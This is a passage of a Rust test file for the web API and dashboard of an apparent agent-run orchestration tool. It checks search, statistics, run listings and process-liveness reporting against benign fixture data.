11109 );
11110
11111 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11112 let parts = snippet_of(&long, &["needle".to_owned()]);
11113 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11114 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11115 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11116 }
11117
11118 #[tokio::test]
11119 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11120 let f = Fixture::start().await;
11121 let queue = f.queue();
11122 let mut t = Task::new(
11123 "short title".to_owned(),
11124 "line one\nthe hidden Armadillo detail".to_owned(),
11125 PathBuf::from("/repo/magi"),
11126 Source::Agent {
11127 run: "r1".to_owned(),
11128 node: "chat".to_owned(),
11129 },
11130 );
11131 t.last_error = Some("disk full on /tmp".to_owned());
11132 queue.put(&mut t).expect("file the task");
11133
11134 for (q, want) in [
11135 ("armadillo", 1),
11136 ("disk%20FULL", 1),
11137 ("chat", 1),
11138 ("queued", 1),
11139 ("short%20nothing", 0),
11140 ] {
11141 let v = f
11142 .get(&format!("/api/search?scope=tasks&q={q}"))
11143 .await
11144 .json();
11145 assert_eq!(v["total"], want, "{q}: {v}");
11146 }
11147 for bad in [
11148 "/api/search?scope=tasks&q=",
11149 "/api/search?scope=tasks&q=%20",
11150 "/api/search?scope=chats&q=",
11151 "/api/search?scope=chats&q=%20",
11152 "/api/search?scope=nope&q=a",
11153 "/api/search?q=a",
11154 ] {
11155 assert_eq!(f.get(bad).await.status, 400, "{bad}");
11156 }
11157 }
11158
11159 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11161 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11162 .expect("seat value");
11163 let turns: Vec<serde_json::Value> = turns
11164 .iter()
11165 .map(|(who, body)| {
11166 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11167 })
11168 .collect();
11169 let doc = serde_json::json!({
11170 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11171 "status": status, "turns": turns,
11172 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11173 "seat": seat,
11174 });
11175 let dir = f.home.path().join("talks");
11176 std::fs::create_dir_all(&dir).expect("talks dir");
11177 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11178 }
11179
11180 #[tokio::test]
11181 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11182 let f = Fixture::start().await;
11183 write_talk(
11184 &f,
11185 "20260901-000001-aaaa",
11186 "open",
11187 &[
11188 (
11189 "operator",
11190 "\n Why does the Pangolin cache expire?\nsecond line",
11191 ),
11192 ("agent", "Because the TTL is thirty seconds."),
11193 ],
11194 );
11195 write_talk(
11196 &f,
11197 "20260901-000002-bbbb",
11198 "closed",
11199 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11200 );
11201 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11202
11203 let search = |q: &'static str| {
11204 let f = &f;
11205 async move {
11206 f.get(&format!("/api/search?scope=chats&q={q}"))
11207 .await
11208 .json()
11209 }
11210 };
11211
11212 let v = search("PANGOLIN").await;
11213 assert_eq!(v["scope"], "chats");
11214 assert_eq!(v["total"], 1, "{v}");
11215 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11216 assert_eq!(v["hits"][0]["field"], "title");
11217 assert_eq!(v["unreadable"], 1, "{v}");
11218 let marked: Vec<&str> = v["hits"][0]["snippet"]
11219 .as_array()
11220 .unwrap()
11221 .iter()
11222 .filter(|p| p["hit"] == true)
11223 .map(|p| p["text"].as_str().unwrap())
11224 .collect();
11225 assert_eq!(marked, ["Pangolin"]);
11226
11227 let v = search("zebra").await;
11229 assert_eq!(v["total"], 1, "{v}");
11230 assert_eq!(v["hits"][0]["field"], "agent");
11231 assert_eq!(search("pangolin%20thirty").await["total"], 1);
11233 assert_eq!(search("pangolin%20zebra").await["total"], 0);
11234 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11236 assert_eq!(search(q).await["total"], 0, "{q}");
11237 }
11238 assert_eq!(search("second").await["hits"][0]["field"], "operator");
11240 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11242
11243 let v = f.get("/api/search?scope=nope&q=a").await;
11244 assert_eq!(v.status, 400);
11245 assert!(
11246 v.body.contains("scope must be runs, tasks or chats"),
11247 "{}",
11248 v.body
11249 );
11250 }
11251
11252 #[test]
11253 fn a_question_card_links_a_task_id_to_the_task_page() {
11254 let start = APP_JS
11255 .find("function updateAskCard(")
11256 .expect("updateAskCard exists");
11257 let body = &APP_JS[start..];
11258 let body = &body[..body.find("\n}\n").expect("function end")];
11259 assert!(body.contains("question.run_is_task"));
11260 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11261 assert!(body.contains("`#/runs/${question.run}`"));
11262 assert!(body.contains("\"task\" : \"run\""));
11263 }
11264
11265 #[test]
11266 fn stats_bars_share_one_id_keyed_plan() {
11267 let start = APP_JS
11268 .find("function statsBarRows(")
11269 .expect("statsBarRows exists");
11270 let body = &APP_JS[start..];
11271 let body = &body[..body.find("\n}\n").expect("function end")];
11272 assert!(body.contains("statsBarPlan(rows)"));
11273 assert!(body.contains("statsAgentTone(row.agent)"));
11274 assert!(!body.contains("candTone(i)"));
11275 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
11276 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
11277 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
11278 }
11279 }
11280
11281 #[test]
11282 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
11283 let start = APP_JS
11284 .find("function renderStatsReviewerScatter(")
11285 .expect("renderStatsReviewerScatter exists");
11286 let body = &APP_JS[start..];
11287 let body = &body[..body.find("\n}\n").expect("function end")];
11288 assert!(body.contains("statsScatterPlan(reviewers)"));
11289 assert!(body.contains("statsAgentTone(d.agent)"));
11290 assert!(APP_JS.contains("function statsScatterPlan("));
11291 assert!(
11292 APP_JS.contains("d.submitted < STATS_LOW_N")
11293 || APP_JS.contains("r.submitted < STATS_LOW_N")
11294 );
11295 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
11296 assert!(APP_CSS.contains(".precision-scatter"));
11297 }
11298
11299 #[test]
11300 fn advisor_reflection_is_drawn_as_stacked_segments() {
11301 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
11302 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
11303 let html = include_str!("../assets/ui/index.html");
11304 assert!(html.contains("Approximate"));
11305 for label in ["reflected strongly", "faint", "no proposal"] {
11306 assert!(html.contains(label));
11307 }
11308 let css = include_str!("../assets/ui/app.css");
11309 for c in ["refl-strong", "refl-faint", "refl-absent"] {
11310 assert!(css.contains(&format!(".{c} {{")));
11311 }
11312 }
11313
11314 #[test]
11315 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
11316 assert!(APP_JS.contains("function statsDailyPlan("));
11317 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
11318 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
11319 }
11320
11321 #[test]
11322 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
11323 let start = APP_JS
11324 .find("function scheduleSearch(")
11325 .expect("scheduleSearch exists");
11326 let body = &APP_JS[start..];
11327 let body = &body[..body.find("\n}\n").expect("function end")];
11328 assert!(body.contains("s.seq += 1"));
11329 }
11330
11331 #[tokio::test]
11336 async fn stats_runs_unreadable_matches_health() {
11337 let f = Fixture::start().await;
11338 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11339 let broken = f.runs().join("20260902-140502-bad");
11340 std::fs::create_dir_all(&broken).expect("run dir");
11341 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11342
11343 let stats = f.get("/api/stats").await;
11344 let health = f.get("/api/health").await;
11345
11346 assert_eq!(stats.status, 200);
11347 assert_eq!(stats.json()["totals"]["runs"], 1);
11348 assert_eq!(stats.json()["runs_unreadable"], 1);
11349 assert_eq!(
11350 stats.json()["runs_unreadable"],
11351 health.json()["runs_unreadable"],
11352 "the dashboard and /api/health must never disagree about how many \
11353 runs could not be read"
11354 );
11355 }
11356
11357 #[tokio::test]
11358 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11359 let f = Fixture::start().await;
11360 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11361 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11362 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11363
11364 let totals = &f.get("/api/stats").await.json()["totals"];
11365 assert_eq!(totals["runs"], 3);
11366 assert_eq!(totals["merged"], 1);
11367 assert_eq!(totals["stalled"], 1);
11368 assert_eq!(totals["in_progress"], 1);
11369 assert_eq!(totals["blocked"], 0);
11372 assert_eq!(totals["ready"], 0);
11373 }
11374
11375 #[tokio::test]
11376 async fn stats_advisors_report_proposals_and_reflection() {
11377 use crate::advise::{Advice, AdvisorRecord, Reflection};
11378 use crate::verdict::Proposal;
11379
11380 let f = Fixture::start().await;
11381 let mut state = RunState::new(
11382 PathBuf::from("/repo/magi"),
11383 "main".to_owned(),
11384 "0123456789abcdef".to_owned(),
11385 "task".to_owned(),
11386 Config::default(),
11387 );
11388 state.id = "20260902-140501-a".to_owned();
11389 state.status = RunStatus::Merged;
11390 state.advice = Some(Advice {
11391 records: vec![
11392 AdvisorRecord {
11393 seat: "advisor-1".to_owned(),
11394 agent: "alpha".to_owned(),
11395 proposal: Some(Proposal {
11396 approach: "do it".to_owned(),
11397 key_tradeoff: "speed over memory".to_owned(),
11398 risks: Vec::new(),
11399 touches: Vec::new(),
11400 why_not_naive: "breaks under load".to_owned(),
11401 }),
11402 error: None,
11403 duration_ms: 0,
11404 reflection: Reflection::Strong,
11405 },
11406 AdvisorRecord {
11407 seat: "advisor-2".to_owned(),
11408 agent: "alpha".to_owned(),
11409 proposal: None,
11410 error: Some("timed out".to_owned()),
11411 duration_ms: 0,
11412 reflection: Reflection::Absent,
11413 },
11414 ],
11415 synthesis: Some("blended brief".to_owned()),
11416 });
11417 let dir = f.runs().join(&state.id);
11418 std::fs::create_dir_all(&dir).expect("run dir");
11419 std::fs::write(
11420 dir.join("run.json"),
11421 serde_json::to_string_pretty(&state).expect("serialize run"),
11422 )
11423 .expect("write run.json");
11424
11425 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
11426 let alpha = advisors
11427 .as_array()
11428 .expect("an array")
11429 .iter()
11430 .find(|a| a["agent"] == "alpha")
11431 .expect("alpha row");
11432 assert_eq!(alpha["seated"], 2);
11433 assert_eq!(alpha["proposed"], 1);
11434 assert_eq!(alpha["absent"], 1);
11435 assert_eq!(alpha["strong"], 1);
11436 assert_eq!(alpha["faint"], 0);
11437 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11438 }
11439
11440 #[tokio::test]
11441 async fn stats_release_bumps_split_clean_from_attention() {
11442 use crate::run::ReleaseBump;
11443
11444 let f = Fixture::start().await;
11445
11446 let mut clean = RunState::new(
11447 PathBuf::from("/repo/magi"),
11448 "main".to_owned(),
11449 "0123456789abcdef".to_owned(),
11450 "task".to_owned(),
11451 Config::default(),
11452 );
11453 clean.id = "20260902-140501-a".to_owned();
11454 clean.status = RunStatus::Merged;
11455 clean.release_bump = Some(ReleaseBump {
11456 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11457 version: Some("1.0.0".to_owned()),
11458 automerge_enabled: true,
11459 merged_directly: false,
11460 local: false,
11461 release: None,
11462 problem: None,
11463 action_required: None,
11464 });
11465
11466 let mut blocked = RunState::new(
11467 PathBuf::from("/repo/magi"),
11468 "main".to_owned(),
11469 "0123456789abcdef".to_owned(),
11470 "task".to_owned(),
11471 Config::default(),
11472 );
11473 blocked.id = "20260902-140502-b".to_owned();
11474 blocked.status = RunStatus::Merged;
11475 blocked.release_bump = Some(ReleaseBump {
11476 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11477 version: Some("1.0.1".to_owned()),
11478 automerge_enabled: false,
11479 merged_directly: false,
11480 local: false,
11481 release: None,
11482 problem: Some("checks red".to_owned()),
11483 action_required: Some("look at the PR".to_owned()),
11484 });
11485
11486 for state in [&clean, &blocked] {
11487 let dir = f.runs().join(&state.id);
11488 std::fs::create_dir_all(&dir).expect("run dir");
11489 std::fs::write(
11490 dir.join("run.json"),
11491 serde_json::to_string_pretty(state).expect("serialize run"),
11492 )
11493 .expect("write run.json");
11494 }
11495
11496 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11497 assert_eq!(bumps["merged"], 2);
11498 assert_eq!(bumps["recorded"], 2);
11499 assert_eq!(bumps["pr_opened"], 2);
11500 assert_eq!(bumps["automerge_enabled"], 1);
11501 assert_eq!(bumps["needs_attention"], 1);
11502 assert_eq!(bumps["clean"], 1);
11503 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11504 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11505 }
11506
11507 #[tokio::test]
11508 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11509 let f = Fixture::start().await;
11510 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11511
11512 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11513 assert_eq!(bumps["merged"], 1);
11514 assert_eq!(bumps["recorded"], 0);
11515 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11518 assert_eq!(bumps["automerge_rate"], Value::Null);
11521 assert_eq!(bumps["attention_rate"], Value::Null);
11522 }
11523
11524 #[tokio::test]
11525 async fn stats_queue_counts_come_from_the_live_queue() {
11526 let f = Fixture::start().await;
11527 let q = f.queue();
11528 let mut queued = Task::new(
11529 "queued task".to_owned(),
11530 "do it".to_owned(),
11531 PathBuf::from("/repo"),
11532 Source::Human,
11533 );
11534 q.put(&mut queued).expect("put queued");
11535 let mut held = Task::new(
11536 "held task".to_owned(),
11537 "do it later".to_owned(),
11538 PathBuf::from("/repo"),
11539 Source::Human,
11540 );
11541 held.hold_machine(Some("out of attempts".to_owned()));
11542 q.put(&mut held).expect("put held");
11543
11544 let queue = f.get("/api/stats").await.json()["queue"].clone();
11545 assert_eq!(queue["queued"], 1);
11546 assert_eq!(queue["held"], 1);
11547 assert_eq!(queue["running"], 0);
11548 assert_eq!(queue["done"], 0);
11549 assert_eq!(queue["failed"], 0);
11550 assert_eq!(queue["blocked"], 0);
11551 }
11552
11553 #[tokio::test]
11554 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11555 let f = Fixture::start().await;
11556 let stats = f.get("/api/stats").await;
11557 assert_eq!(stats.status, 200);
11558 assert_eq!(stats.json()["totals"]["runs"], 0);
11559 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11560 assert_eq!(stats.json()["runs_unreadable"], 0);
11561 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11562 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11563 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11564 assert_eq!(stats.json()["repo"], Value::Null);
11565 }
11566
11567 #[tokio::test]
11568 async fn stats_lists_every_repository_with_runs_recorded() {
11569 let f = Fixture::start().await;
11570 write_run_repo(
11571 &f.runs(),
11572 "20260902-140501-a",
11573 RunStatus::Merged,
11574 "/repos/a",
11575 );
11576 write_run_repo(
11577 &f.runs(),
11578 "20260902-140502-b",
11579 RunStatus::Merged,
11580 "/repos/a",
11581 );
11582 write_run_repo(
11583 &f.runs(),
11584 "20260902-140503-c",
11585 RunStatus::Blocked,
11586 "/repos/b",
11587 );
11588
11589 let stats = f.get("/api/stats").await;
11590 assert_eq!(stats.status, 200);
11591 assert_eq!(stats.json()["totals"]["runs"], 3);
11593 assert_eq!(stats.json()["repo"], Value::Null);
11594
11595 let repos = stats.json()["repos"].clone();
11596 let repos = repos.as_array().unwrap();
11597 assert_eq!(repos.len(), 2);
11598 assert_eq!(repos[0]["repo"], "/repos/a");
11600 assert_eq!(repos[0]["name"], "a");
11601 assert_eq!(repos[0]["runs"], 2);
11602 assert_eq!(repos[1]["repo"], "/repos/b");
11603 assert_eq!(repos[1]["runs"], 1);
11604 }
11605
11606 #[tokio::test]
11607 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11608 let f = Fixture::start().await;
11609 write_run_repo(
11610 &f.runs(),
11611 "20260902-140501-a",
11612 RunStatus::Merged,
11613 "/repos/a",
11614 );
11615 write_run_repo(
11616 &f.runs(),
11617 "20260902-140502-b",
11618 RunStatus::Blocked,
11619 "/repos/b",
11620 );
11621
11622 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
11623 assert_eq!(stats.status, 200);
11624 assert_eq!(stats.json()["totals"]["runs"], 1);
11625 assert_eq!(stats.json()["totals"]["merged"], 1);
11626 assert_eq!(stats.json()["repo"], "/repos/a");
11627 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
11630 assert_eq!(stats.json()["runs_unreadable"], 0);
11633 }
11634
11635 #[tokio::test]
11636 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
11637 let f = Fixture::start().await;
11638 write_run_repo(
11639 &f.runs(),
11640 "20260902-140501-a",
11641 RunStatus::Merged,
11642 "/repos/a",
11643 );
11644 write_run_repo(
11645 &f.runs(),
11646 "20260902-140502-b",
11647 RunStatus::Merged,
11648 "/repos/b",
11649 );
11650
11651 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
11652 let json = f.get(uri).await.json();
11653 let daily = json["daily"].as_array().expect("daily is an array");
11654 assert_eq!(daily.len(), 30);
11655 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
11656 let mut sorted = dates.clone();
11657 sorted.sort();
11658 assert_eq!(dates, sorted);
11659 for d in daily {
11660 assert_eq!(
11661 d["merged"].as_u64().unwrap()
11662 + d["ready"].as_u64().unwrap()
11663 + d["other"].as_u64().unwrap(),
11664 d["runs"].as_u64().unwrap()
11665 );
11666 }
11667 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
11668 }
11669 }
11670
11671 #[tokio::test]
11672 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
11673 let f = Fixture::start().await;
11674 write_run_repo(
11675 &f.runs(),
11676 "20260902-140501-a",
11677 RunStatus::Merged,
11678 "/repos/a",
11679 );
11680
11681 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
11682 assert_eq!(stats.status, 404);
11683 }
11684
11685 #[tokio::test]
11686 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
11687 let f = Fixture::start().await;
11688 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
11689
11690 let summary = f.get("/api/runs").await.json();
11691 let row = &summary[0];
11692 assert_eq!(row["short"], "a1b2");
11693 assert_eq!(row["status"], "ready");
11694 assert_eq!(row["done"], true);
11695 assert_eq!(row["title"], "Add a web UI");
11696 assert_eq!(row["repo_name"], "magi");
11697 assert_eq!(row["judges"], 3);
11698 assert_eq!(row["winner"], Value::Null);
11699 assert_eq!(row["reviews"], 0);
11700
11701 let detail = f.get("/api/runs/a1b2").await;
11704 assert_eq!(detail.status, 200);
11705 assert_eq!(detail.json()["base_branch"], "main");
11706 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11707 }
11708
11709 #[tokio::test]
11717 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11718 let f = Fixture::start().await;
11719
11720 let mut none_run = RunState::new(
11721 PathBuf::from("/repo/magi"),
11722 "main".to_owned(),
11723 "0123456789abcdef".to_owned(),
11724 "Add a web UI".to_owned(),
11725 Config::default(),
11726 );
11727 none_run.id = "20260902-140503-none".to_owned();
11728 none_run.status = RunStatus::Ready;
11729 none_run.merge = Some(crate::run::MergeOutcome {
11730 mode: crate::config::MergeMode::None,
11731 ok: true,
11732 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11733 empty: false,
11734 });
11735 write_state(&f.runs(), &none_run);
11736
11737 let mut pr_run = RunState::new(
11738 PathBuf::from("/repo/magi"),
11739 "main".to_owned(),
11740 "0123456789abcdef".to_owned(),
11741 "Add a web UI".to_owned(),
11742 Config::default(),
11743 );
11744 pr_run.id = "20260902-140504-prcl".to_owned();
11745 pr_run.status = RunStatus::Ready;
11746 pr_run.merge = Some(crate::run::MergeOutcome {
11747 mode: crate::config::MergeMode::Pr,
11748 ok: false,
11749 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11750 empty: false,
11751 });
11752 write_state(&f.runs(), &pr_run);
11753
11754 let summary = f.get("/api/runs").await.json();
11755 let rows: std::collections::HashMap<&str, &Value> = summary
11756 .as_array()
11757 .expect("an array")
11758 .iter()
11759 .map(|r| (r["id"].as_str().expect("an id"), r))
11760 .collect();
11761 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11762 assert_eq!(
11763 rows[none_run.id.as_str()]["unmerged_by_design"],
11764 true,
11765 "a mode-none Ready must be flagged in the list"
11766 );
11767 assert_eq!(
11768 rows[pr_run.id.as_str()]["unmerged_by_design"],
11769 false,
11770 "a Ready reached by a closed pull request is a different case"
11771 );
11772
11773 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11774 assert_eq!(none_detail["status"], "ready");
11775 assert_eq!(none_detail["unmerged_by_design"], true);
11776
11777 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11778 assert_eq!(pr_detail["unmerged_by_design"], false);
11779 }
11780
11781 #[tokio::test]
11786 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11787 let f = Fixture::start().await;
11788 let id = "20260902-140502-bbbb";
11792 let mut state = RunState::new(
11793 PathBuf::from("/repo/magi"),
11794 "main".to_owned(),
11795 "0123456789abcdef".to_owned(),
11796 "Add a web UI".to_owned(),
11797 Config::default(),
11798 );
11799 state.id = id.to_owned();
11800 state.status = RunStatus::Judging;
11801 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11802 let dir = f.runs().join(id);
11803 std::fs::create_dir_all(&dir).expect("run dir");
11804 std::fs::write(
11805 dir.join("run.json"),
11806 serde_json::to_string_pretty(&state).expect("serialize run"),
11807 )
11808 .expect("write run.json");
11809
11810 let cold = f.get(&format!("/api/runs/{id}")).await.json();
11816 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11817 assert_eq!(cold["live"], "unknown", "{cold}");
11818
11819 write_daemon(f.home.path(), Timestamp::now());
11822 let warm = f.get(&format!("/api/runs/{id}")).await.json();
11823 assert_eq!(warm["live"], "live", "{warm}");
11824 }
11825
11826 #[tokio::test]
11829 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11830 let f = Fixture::start().await;
11831 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11832 let mut state = RunState::new(
11833 PathBuf::from("/repo/magi"),
11834 "main".to_owned(),
11835 "0123456789abcdef".to_owned(),
11836 "Add a web UI".to_owned(),
11837 Config::default(),
11838 );
11839 state.id = id.to_owned();
11840 state.origin = origin;
11841 let mut value = serde_json::to_value(&state).expect("serialize run");
11842 if let Some(schema) = schema {
11843 value["schema"] = serde_json::json!(schema);
11844 value.as_object_mut().unwrap().remove("origin");
11845 }
11846 let dir = f.runs().join(id);
11847 std::fs::create_dir_all(&dir).expect("run dir");
11848 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11849 };
11850 write(
11851 "20260930-092817-ec34",
11852 Some(crate::run::Origin::from_agent_env(
11853 Some(("4a7b".to_owned(), "chat".to_owned())),
11854 None,
11855 )),
11856 None,
11857 );
11858 write("20260930-092817-0ld1", None, Some(12));
11859
11860 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11861 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11862 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11863
11864 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11865 assert_eq!(
11866 old["origin_label"], "origin unknown (started before origins were recorded)",
11867 "{old}"
11868 );
11869 assert!(old["origin"].is_null(), "{old}");
11870
11871 let list = f.get("/api/runs").await.json();
11872 let labels: Vec<_> = list
11873 .as_array()
11874 .unwrap()
11875 .iter()
11876 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11877 .collect();
11878 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11879 }
11880
11881 #[tokio::test]
11888 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11889 let f = Fixture::start().await;
11890 let id = "20260922-090000-cccc";
11891 let mut state = RunState::new(
11892 PathBuf::from("/repo/magi"),
11893 "main".to_owned(),
11894 "0123456789abcdef".to_owned(),
11895 "Review only".to_owned(),
11896 Config::default(),
11897 );
11898 state.id = id.to_owned();
11899 state.status = RunStatus::Reviewing;
11900 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11901 state.driver_pid = Some(std::process::id());
11907 state.driver_started_at = Some(
11908 crate::proc::process_started_at(std::process::id())
11909 .expect("this test process's own start time must be queryable"),
11910 );
11911 let dir = f.runs().join(id);
11912 std::fs::create_dir_all(&dir).expect("run dir");
11913 std::fs::write(
11914 dir.join("run.json"),
11915 serde_json::to_string_pretty(&state).expect("serialize run"),
11916 )
11917 .expect("write run.json");
11918
11919 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11920 assert_eq!(detail["live"], "live", "{detail}");
11921 }
11922
11923 #[tokio::test]
11929 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
11930 let f = Fixture::start().await;
11931 let id = "20260922-090100-dddd";
11932 let mut state = RunState::new(
11933 PathBuf::from("/repo/magi"),
11934 "main".to_owned(),
11935 "0123456789abcdef".to_owned(),
11936 "Review only".to_owned(),
11937 Config::default(),
11938 );
11939 state.id = id.to_owned();
11940 state.status = RunStatus::Reviewing;
11941 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11942 state.driver_pid = Some(std::process::id());
11947 state.driver_started_at = Some("1".to_owned());
11948 let dir = f.runs().join(id);
11949 std::fs::create_dir_all(&dir).expect("run dir");
11950 std::fs::write(
11951 dir.join("run.json"),
11952 serde_json::to_string_pretty(&state).expect("serialize run"),
11953 )
11954 .expect("write run.json");
11955
11956 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11957 assert_eq!(detail["live"], "dead", "{detail}");
11958 }
11959
11960 #[test]
11964 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
11965 let mk = |id: &str, pid: Option<u32>| {
11966 let mut s = RunState::new(
11967 PathBuf::from("/repo/magi"),
11968 "main".to_owned(),
11969 "0123456789abcdef".to_owned(),
11970 "Add a web UI".to_owned(),
11971 Config::default(),
11972 );
11973 s.id = id.to_owned();
11974 s.driver_pid = pid;
11975 s.driver_started_at = Some("1790000000".to_owned());
11976 s
11977 };
11978 let states = vec![
11979 mk("20260902-140502-aaaa", Some(77)),
11980 mk("20260902-140502-bbbb", Some(77)),
11981 mk("20260902-140502-cccc", Some(77)),
11982 mk("20260902-140502-dddd", None),
11983 ];
11984 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
11985 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
11986 let sup: HashMap<String, String> = [(
11987 "20260902-140502-aaaa".to_owned(),
11988 "20260902-140502-cccc".to_owned(),
11989 )]
11990 .into();
11991
11992 let status_calls = std::cell::Cell::new(0);
11993 let identity_calls = std::cell::Cell::new(0);
11994 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
11995 |_| {
11996 status_calls.set(status_calls.get() + 1);
11997 Some(true)
11998 },
11999 |_| {
12000 identity_calls.set(identity_calls.get() + 1);
12001 Some("1790000000".to_owned())
12002 },
12003 ));
12004 let rows = summarize(
12005 states,
12006 &open,
12007 &claimed,
12008 &sup,
12009 |p| probe.borrow_mut().status(p),
12010 |p| probe.borrow_mut().started_at(p),
12011 );
12012
12013 assert_eq!(status_calls.get(), 1, "one pid, one status query");
12014 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12015 assert_eq!(rows.len(), 4);
12016 assert!(!rows[0].waiting && rows[1].waiting);
12017 assert_eq!(rows[0].live, crate::run::Liveness::Live);
12018 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12019 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12020 assert_eq!(rows[1].superseded_by, None);
12021 }
12022
12023 #[test]
12024 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12025 let mut state = RunState::new(
12026 PathBuf::from("/repo/magi"),
12027 "main".to_owned(),
12028 "0123456789abcdef".to_owned(),
12029 "Review only".to_owned(),
12030 Config::default(),
12031 );
12032 state.id = "20260922-090200-dead".to_owned();
12033 state.status = RunStatus::Reviewing;
12034 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12035 .expect("serialize list row");
12036 assert_eq!(row["status"], "reviewing");
12037 assert_eq!(row["live"], "dead", "{row}");
12038 assert!(!row["done"].as_bool().unwrap());
12039 }
12040
12041 #[tokio::test]
12042 async fn the_run_list_is_newest_first_and_honours_a_limit() {
12043 let f = Fixture::start().await;
12044 for id in [
12045 "20260902-140501-aaaa",
12046 "20260902-140502-bbbb",
12047 "20260902-140503-cccc",
12048 ] {
12049 write_run(&f.runs(), id, RunStatus::Merged);
12050 }
12051
12052 let all = f.get("/api/runs").await.json();
12053 let capped = f.get("/api/runs?limit=2").await.json();
12054
